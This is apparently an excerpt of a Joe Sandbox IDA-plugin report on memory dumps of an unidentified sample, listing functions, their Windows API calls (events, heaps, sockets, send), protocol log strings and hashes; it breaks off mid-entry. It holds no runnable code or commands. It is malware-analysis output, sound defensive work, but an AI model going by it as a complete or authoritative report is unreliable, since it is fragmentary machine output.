CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,A0516FA3,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E,00000000), ref: 03779773
InitializeCriticalSectionAndSpinCount.KERNEL32(0377E1AE,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 03779812
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 03779850
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 03779875
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 0377989A

Part of subcall function 03771280: __CxxThrowException@8.LIBCMT ref: 03771290
Part of subcall function 03771280: DeleteCriticalSection.KERNEL32(00000000,0377D3E6,03796624,?,?,0377D3E6,?,?,?,?,03795A40,00000000), ref: 037712A1

Part of subcall function 0377CE10: InitializeCriticalSectionAndSpinCount.KERNEL32(0377E076,00000000,A0516FA3,0377E04E,74DF2F60,00000000,?,0377E226,0379110B,000000FF,?,0377994A,0377E226), ref: 0377CE67
Part of subcall function 0377CE10: InitializeCriticalSectionAndSpinCount.KERNEL32(0377E08E,00000000,?,0377E226,0379110B,000000FF,?,0377994A,0377E226,?,?,?,00000000,0379125B,000000FF), ref: 0377CE83

InterlockedExchange.KERNEL32(0377E066,00000000), ref: 037799A0
timeGetTime.WINMM(?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 037799A6
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 037799B4
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0379125B,000000FF,?,0377E04E), ref: 037799BD

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateEvent$CriticalSection$CountInitializeSpin$DeleteException@8ExchangeInterlockedThrowTimetime
String ID:
API String ID: 1400036169-0
Opcode ID: b513480101fa7e88a4a2ad05c6f9f13d91acab1c86e955512cf6aa3d250616d9
Instruction ID: ad0b3068c210039a0a8096a6b0716244767e46fe84bc5a53ffd749e749fa74f2
Opcode Fuzzy Hash: b513480101fa7e88a4a2ad05c6f9f13d91acab1c86e955512cf6aa3d250616d9
Instruction Fuzzy Hash: FD81C5B0A01A46BFE744DF7AC88479AFBA8FB09314F50862ED12CD7640D775A964CF90

Function 03773500 Relevance: 13.6, APIs: 9, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 03773660: CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 03773667
Part of subcall function 03773660: _free.LIBCMT ref: 0377369C
Part of subcall function 03773660: _malloc.LIBCMT ref: 037736D7
Part of subcall function 03773660: _memset.LIBCMT ref: 037736E5

InterlockedIncrement.KERNEL32(037A1F0C), ref: 03773565
InterlockedIncrement.KERNEL32(037A1F0C), ref: 03773573
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 0377359A
setsockopt.WS2_32(?,0000FFFF,00001002,?,00000004), ref: 037735B3
ResetEvent.KERNEL32(?,?,?,037A1F0C), ref: 037735EE
SetLastError.KERNEL32(00000000), ref: 03773621
GetLastError.KERNEL32 ref: 03773639

Part of subcall function 03773F60: GetCurrentThreadId.KERNEL32 ref: 03773F65
Part of subcall function 03773F60: send.WS2_32(?,037949C0,00000010,00000000), ref: 03773FC6
Part of subcall function 03773F60: SetEvent.KERNEL32(?), ref: 03773FE9
Part of subcall function 03773F60: InterlockedExchange.KERNEL32(?,00000000), ref: 03773FF5
Part of subcall function 03773F60: WSACloseEvent.WS2_32(?), ref: 03774003
Part of subcall function 03773F60: shutdown.WS2_32(?,00000001), ref: 0377401B
Part of subcall function 03773F60: closesocket.WS2_32(?), ref: 03774025

SetLastError.KERNEL32(00000000), ref: 03773649

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ErrorEventInterlockedLast$Incrementsetsockopt$CloseCreateCurrentExchangeResetThreadTimerWaitable_free_malloc_memsetclosesocketsendshutdown
String ID:
API String ID: 127459856-0
Opcode ID: 97cafa48633974060d49b5bdc28e344d0917141cabcaeb8430da46ab5f3aa0d2
Instruction ID: 6dd1bac515bf97f548fd6cc6007228d55fb3d9c579bec284db93e6cebca262c1
Opcode Fuzzy Hash: 97cafa48633974060d49b5bdc28e344d0917141cabcaeb8430da46ab5f3aa0d2
Instruction Fuzzy Hash: 8441A0B9600704AFE760EF79DC81B6AF7E8FB48701F50492EE64AD7680D7B5E4049B90

Function 02C63500 Relevance: 13.6, APIs: 9, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 02C63660: CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 02C63667
Part of subcall function 02C63660: _free.LIBCMT ref: 02C6369C
Part of subcall function 02C63660: _malloc.LIBCMT ref: 02C636D7
Part of subcall function 02C63660: _memset.LIBCMT ref: 02C636E5

InterlockedIncrement.KERNEL32(02C7D990), ref: 02C63565
InterlockedIncrement.KERNEL32(02C7D990), ref: 02C63573
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 02C6359A
setsockopt.WS2_32(?,0000FFFF,00001002,?,00000004), ref: 02C635B3
ResetEvent.KERNEL32(?,?,?,02C7D990), ref: 02C635EE
SetLastError.KERNEL32(00000000), ref: 02C63621
GetLastError.KERNEL32 ref: 02C63639

Part of subcall function 02C63F60: GetCurrentThreadId.KERNEL32 ref: 02C63F65
Part of subcall function 02C63F60: send.WS2_32(?,02C77440,00000010,00000000), ref: 02C63FC6
Part of subcall function 02C63F60: SetEvent.KERNEL32(?), ref: 02C63FE9
Part of subcall function 02C63F60: InterlockedExchange.KERNEL32(?,00000000), ref: 02C63FF5
Part of subcall function 02C63F60: WSACloseEvent.WS2_32(?), ref: 02C64003
Part of subcall function 02C63F60: shutdown.WS2_32(?,00000001), ref: 02C6401B
Part of subcall function 02C63F60: closesocket.WS2_32(?), ref: 02C64025

SetLastError.KERNEL32(00000000), ref: 02C63649

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ErrorEventInterlockedLast$Incrementsetsockopt$CloseCreateCurrentExchangeResetThreadTimerWaitable_free_malloc_memsetclosesocketsendshutdown
String ID:
API String ID: 127459856-0
Opcode ID: 602a04fa532578dc6978bced49faf2781c71eb5ad812b4d98276df7cafcab284
Instruction ID: 48087ae806f2e2029aa5a3243c884b19516c258f00d9a31bc314ca05eb2de986
Opcode Fuzzy Hash: 602a04fa532578dc6978bced49faf2781c71eb5ad812b4d98276df7cafcab284
Instruction Fuzzy Hash: B241AEB1A40704AFD360EF69DCC5B6AB7E9FF88701F50096EEA46D7680D7B1E5048B90

Function 03774430 Relevance: 13.6, APIs: 9, Instructions: 93synchronizationtimeCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?), ref: 03774443
ResetEvent.KERNEL32(?), ref: 0377444C
timeGetTime.WINMM ref: 0377444E
InterlockedExchange.KERNEL32(?,00000000), ref: 0377445D
WaitForSingleObject.KERNEL32(?,00001770), ref: 037744AB
ResetEvent.KERNEL32(?), ref: 037744C8

Part of subcall function 03773F60: GetCurrentThreadId.KERNEL32 ref: 03773F65
Part of subcall function 03773F60: send.WS2_32(?,037949C0,00000010,00000000), ref: 03773FC6
Part of subcall function 03773F60: SetEvent.KERNEL32(?), ref: 03773FE9
Part of subcall function 03773F60: InterlockedExchange.KERNEL32(?,00000000), ref: 03773FF5
Part of subcall function 03773F60: WSACloseEvent.WS2_32(?), ref: 03774003
Part of subcall function 03773F60: shutdown.WS2_32(?,00000001), ref: 0377401B
Part of subcall function 03773F60: closesocket.WS2_32(?), ref: 03774025

ResetEvent.KERNEL32(?), ref: 037744DC

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Event$Reset$ExchangeInterlocked$CloseCurrentObjectSingleThreadTimeWaitclosesocketsendshutdowntime
String ID:
API String ID: 542259498-0
Opcode ID: b9348ae89a763ba452ed1707b181963f1e4d6b49d22d742a8c0e7c0048def601
Instruction ID: 0b57c501933872a45acdb0bfdb0060068adc21f3557074ed2a17d7ee4f98004b
Opcode Fuzzy Hash: b9348ae89a763ba452ed1707b181963f1e4d6b49d22d742a8c0e7c0048def601
Instruction Fuzzy Hash: D6216F76640708ABC630EF79EC85A97B3E8EF89710F104A1EE68AC7640D671E405DBA5

Function 02C64430 Relevance: 13.6, APIs: 9, Instructions: 93synchronizationtimeCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?), ref: 02C64443
ResetEvent.KERNEL32(?), ref: 02C6444C
timeGetTime.WINMM ref: 02C6444E
InterlockedExchange.KERNEL32(?,00000000), ref: 02C6445D
WaitForSingleObject.KERNEL32(?,00001770), ref: 02C644AB
ResetEvent.KERNEL32(?), ref: 02C644C8

Part of subcall function 02C63F60: GetCurrentThreadId.KERNEL32 ref: 02C63F65
Part of subcall function 02C63F60: send.WS2_32(?,02C77440,00000010,00000000), ref: 02C63FC6
Part of subcall function 02C63F60: SetEvent.KERNEL32(?), ref: 02C63FE9
Part of subcall function 02C63F60: InterlockedExchange.KERNEL32(?,00000000), ref: 02C63FF5
Part of subcall function 02C63F60: WSACloseEvent.WS2_32(?), ref: 02C64003
Part of subcall function 02C63F60: shutdown.WS2_32(?,00000001), ref: 02C6401B
Part of subcall function 02C63F60: closesocket.WS2_32(?), ref: 02C64025

ResetEvent.KERNEL32(?), ref: 02C644DC

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Event$Reset$ExchangeInterlocked$CloseCurrentObjectSingleThreadTimeWaitclosesocketsendshutdowntime
String ID:
API String ID: 542259498-0
Opcode ID: df3f04ee29f7b66d069727e3f58d69b8f1a7dad2c02f68e0f2a1986d9bfece49
Instruction ID: b922b56e2dfb10fd26552ee200610fd39e34a909cbcdf1f39715125bc1444f5b
Opcode Fuzzy Hash: df3f04ee29f7b66d069727e3f58d69b8f1a7dad2c02f68e0f2a1986d9bfece49
Instruction Fuzzy Hash: F5217176640704ABC734EF79EC89BA7B3E8FF89710F500A1EF58AC7640D671A4058BA1

Function 03774E80 Relevance: 13.6, APIs: 9, Instructions: 70COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,?), ref: 03774E99
TryEnterCriticalSection.KERNEL32(?,?), ref: 03774EB8
TryEnterCriticalSection.KERNEL32(?), ref: 03774EC2
SetLastError.KERNEL32(0000139F), ref: 03774ED9
LeaveCriticalSection.KERNEL32(?), ref: 03774EE2
LeaveCriticalSection.KERNEL32(?), ref: 03774EE9

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 88ad2089f5007b3280815993eaf664839b8f60cc5b8cba5b107f32b5f1dcf664
Instruction ID: a7f6e5c3639b8298f473e2834d37c9984e1d991d243f88c98e2d3c874429f2dd
Opcode Fuzzy Hash: 88ad2089f5007b3280815993eaf664839b8f60cc5b8cba5b107f32b5f1dcf664
Instruction Fuzzy Hash: 7F1186327043089BD720FB7AEC8497BF3ECEB48621B044A3FE615C6540D675D805C7A5

Function 02C64E60 Relevance: 13.6, APIs: 9, Instructions: 70COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,?), ref: 02C64E79
TryEnterCriticalSection.KERNEL32(?,?), ref: 02C64E98
TryEnterCriticalSection.KERNEL32(?), ref: 02C64EA2
SetLastError.KERNEL32(0000139F), ref: 02C64EB9
LeaveCriticalSection.KERNEL32(?), ref: 02C64EC2
LeaveCriticalSection.KERNEL32(?), ref: 02C64EC9

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 0481b69c58d2de962900202faf02d1b42ccf0c17215dcb7f42667e495bf4c2bf
Instruction ID: 7f6580741440063767b40a0ef4fdc99e32bf3b9407bad15462d51072201b3057
Opcode Fuzzy Hash: 0481b69c58d2de962900202faf02d1b42ccf0c17215dcb7f42667e495bf4c2bf
Instruction Fuzzy Hash: 66118632B003048BC330EAB9ED88A7BF3DCFB88755B400A2AEA05C6540D771D915C7E5

Function 0377DD10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 0377DD32
SetLastError.KERNEL32(0000007F), ref: 0377DE35

Strings

Main, xrefs: 0377DD1F, 0377DD5C

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ErrorLast
String ID: Main
API String ID: 1452528299-521822810
Opcode ID: 04a28698699c7d97deffc97c57b53933fe184db208c6a9681a96fdbcb8c978d9
Instruction ID: 5624ee4ec61e1ca59b17bd462c85d925a7e65d375f34949a7a46706dd1cf5a63
Opcode Fuzzy Hash: 04a28698699c7d97deffc97c57b53933fe184db208c6a9681a96fdbcb8c978d9
Instruction Fuzzy Hash: 5441A171A40209EFEB20DF58DC81B6AB3F8FF54314F0846AAD8459B251E7B5E941CB90

Function 03773F60 Relevance: 12.1, APIs: 8, Instructions: 79networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03773F65
SetLastError.KERNEL32(0000139F,?,74DEDFA0,03773648), ref: 03774054

Part of subcall function 03772BC0: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 03772BD6
Part of subcall function 03772BC0: SwitchToThread.KERNEL32 ref: 03772BEA

send.WS2_32(?,037949C0,00000010,00000000), ref: 03773FC6
SetEvent.KERNEL32(?), ref: 03773FE9
InterlockedExchange.KERNEL32(?,00000000), ref: 03773FF5
WSACloseEvent.WS2_32(?), ref: 03774003
shutdown.WS2_32(?,00000001), ref: 0377401B
closesocket.WS2_32(?), ref: 03774025

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCompareCurrentErrorLastSwitchclosesocketsendshutdown
String ID:
API String ID: 3254528666-0
Opcode ID: 0e02a102b45d3d8103dbdc05ae6d186ecafb3e15f43ad859370aec8fe836a8e8
Instruction ID: 07ee20810ae2ab2c93f7ad757ccbe333ebb1426244ce86726313d0e286411138
Opcode Fuzzy Hash: 0e02a102b45d3d8103dbdc05ae6d186ecafb3e15f43ad859370aec8fe836a8e8
Instruction Fuzzy Hash: BA215C75200704ABE730EF79D888B5BB7F9BB48710F144E1DE2928B681C7B9E446CB90

Function 02C63F60 Relevance: 12.1, APIs: 8, Instructions: 79networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02C63F65
SetLastError.KERNEL32(0000139F,?,74DEDFA0,02C63648), ref: 02C64054

Part of subcall function 02C62B80: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02C62B96
Part of subcall function 02C62B80: SwitchToThread.KERNEL32 ref: 02C62BAA

send.WS2_32(?,02C77440,00000010,00000000), ref: 02C63FC6
SetEvent.KERNEL32(?), ref: 02C63FE9
InterlockedExchange.KERNEL32(?,00000000), ref: 02C63FF5
WSACloseEvent.WS2_32(?), ref: 02C64003
shutdown.WS2_32(?,00000001), ref: 02C6401B
closesocket.WS2_32(?), ref: 02C64025

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCompareCurrentErrorLastSwitchclosesocketsendshutdown
String ID:
API String ID: 3254528666-0
Opcode ID: f1d3a3f21080fd4a6a3c334decf28615ba8c85a8f5bd0551005cd3701b096b94
Instruction ID: b536db48aef87d35455d95536a23889c6e5c9e71886ca235ecab07e02770ed40
Opcode Fuzzy Hash: f1d3a3f21080fd4a6a3c334decf28615ba8c85a8f5bd0551005cd3701b096b94
Instruction Fuzzy Hash: 37214B716407109BD3349F64D88CB6BB7B5FF84B55F500E1CE68287680C7B6E455CB90

Function 03774060 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 03774074
ResetEvent.KERNEL32(?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 03774087
ResetEvent.KERNEL32(?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 03774090
ResetEvent.KERNEL32(?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 03774099

Part of subcall function 03771350: HeapFree.KERNEL32(?,00000000,?,?,?,037740A6,?,00000000,03774039,?,74DEDFA0,03773648), ref: 03771390

Part of subcall function 03771420: HeapFree.KERNEL32(?,00000000,?,?,?,037740B1,?,00000000,03774039,?,74DEDFA0,03773648), ref: 0377143D
Part of subcall function 03771420: _free.LIBCMT ref: 03771459

HeapDestroy.KERNEL32(?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 037740B9
HeapCreate.KERNEL32(?,?,?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 037740D4
SetEvent.KERNEL32(?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 03774150
LeaveCriticalSection.KERNEL32(?,?,00000000,03774039,?,74DEDFA0,03773648), ref: 03774157

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: EventHeap$Reset$CriticalFreeSection$CreateDestroyEnterLeave_free
String ID:
API String ID: 1219087420-0
Opcode ID: afb51c404a6c7a9ff428cfd036de9e0888f62b50008f75e87dbe5dcdc3e2d513
Instruction ID: 95383f88b7c2db9dcc1b3d166af389e288922cb222db069abc0d61cd43b6dc69
Opcode Fuzzy Hash: afb51c404a6c7a9ff428cfd036de9e0888f62b50008f75e87dbe5dcdc3e2d513
Instruction Fuzzy Hash: 2F312874200A06AFDB09EB39D858B96F7A8FF48310F15865AE4298B250DB35A951CFD0

Function 02C64060 Relevance: 12.1, APIs: 8, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C64074
ResetEvent.KERNEL32(?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C64087
ResetEvent.KERNEL32(?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C64090
ResetEvent.KERNEL32(?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C64099

Part of subcall function 02C61350: HeapFree.KERNEL32(?,00000000,?,?,?,02C640A6,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C61390

Part of subcall function 02C61420: HeapFree.KERNEL32(?,00000000,?,?,?,02C640B1,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C6143D
Part of subcall function 02C61420: _free.LIBCMT ref: 02C61459

HeapDestroy.KERNEL32(?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C640B9
HeapCreate.KERNEL32(?,?,?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C640D4
SetEvent.KERNEL32(?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C64150
LeaveCriticalSection.KERNEL32(?,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C64157

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: EventHeap$Reset$CriticalFreeSection$CreateDestroyEnterLeave_free
String ID:
API String ID: 1219087420-0
Opcode ID: 48df6446c44b0efe0932163c603bc4830a41f3eab86cd9feea68fb266de9168b
Instruction ID: 00238e3cae3413f8db32d441f21d704fdd253f8d0945c10c90e4fdb60f206e26
Opcode Fuzzy Hash: 48df6446c44b0efe0932163c603bc4830a41f3eab86cd9feea68fb266de9168b
Instruction Fuzzy Hash: 08313270600A02EFD719DF38C898BA6F7A9FF48314F048659E829C7250CB35A865DFE0

Function 035FB62F Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 351COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 035FB839
_memset.LIBCMT ref: 035FB86E

Part of subcall function 035FF0C6: _malloc.LIBCMT ref: 035FF0E0

Strings

6, xrefs: 035FB820
(, xrefs: 035FB7FD
gfff, xrefs: 035FB6CF
gfff, xrefs: 035FB6F7

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: _memset$_malloc
String ID: ($6$gfff$gfff
API String ID: 3506388080-713438465
Opcode ID: adc29c7617633d4b8d790a07087d8aa0c6b7af03618b52efd29b7f2ce1e6f169
Instruction ID: 331c29e54ce41b48a2782cad8a74fde6f5137732ad6923dfe5a0df80ce6448c7
Opcode Fuzzy Hash: adc29c7617633d4b8d790a07087d8aa0c6b7af03618b52efd29b7f2ce1e6f169
Instruction Fuzzy Hash: D2D17EB1D01318EFDB14EFE5ED85AAEBBB9FF48300F104529E505AB251D770A905CBA1

Function 03772140 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 03771610: __vswprintf.LIBCMT ref: 03771646

_malloc.LIBCMT ref: 03772330

Part of subcall function 0377F673: __FF_MSGBANNER.LIBCMT ref: 0377F68C
Part of subcall function 0377F673: __NMSG_WRITE.LIBCMT ref: 0377F693
Part of subcall function 0377F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 0377F6B8

Strings

input ack: sn=%lu rtt=%ld rto=%ld, xrefs: 037722AC
input wins: %lu, xrefs: 037723CF
[RI] %d bytes, xrefs: 0377216F
input probe, xrefs: 037723A1
input psh: sn=%lu ts=%lu, xrefs: 037722DF

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: AllocateHeap__vswprintf_malloc
String ID: [RI] %d bytes$input ack: sn=%lu rtt=%ld rto=%ld$input probe$input psh: sn=%lu ts=%lu$input wins: %lu
API String ID: 3723585974-868042568
Opcode ID: c147293662df851cf4bc9efac12f6fd17b0b235767dbedb2bf4d057d0f30ea3d
Instruction ID: 8bc6541bf586638d3912fb44fee4b428480803a98c07f0502e983c164744e646
Opcode Fuzzy Hash: c147293662df851cf4bc9efac12f6fd17b0b235767dbedb2bf4d057d0f30ea3d
Instruction Fuzzy Hash: 90B1A275A002058FCF18DF68D8846AAB7B5BF48310F184ABEDD699B347DB31D941CB90

Function 02C62140 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 303COMMON

Download Yara Rule

APIs

Part of subcall function 02C61610: __vswprintf.LIBCMT ref: 02C61646

_malloc.LIBCMT ref: 02C62330

Part of subcall function 02C66E83: __FF_MSGBANNER.LIBCMT ref: 02C66E9C
Part of subcall function 02C66E83: __NMSG_WRITE.LIBCMT ref: 02C66EA3
Part of subcall function 02C66E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F), ref: 02C66EC8

Strings

input probe, xrefs: 02C623A1
input psh: sn=%lu ts=%lu, xrefs: 02C622DF
input ack: sn=%lu rtt=%ld rto=%ld, xrefs: 02C622AC
input wins: %lu, xrefs: 02C623CF
[RI] %d bytes, xrefs: 02C6216F

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

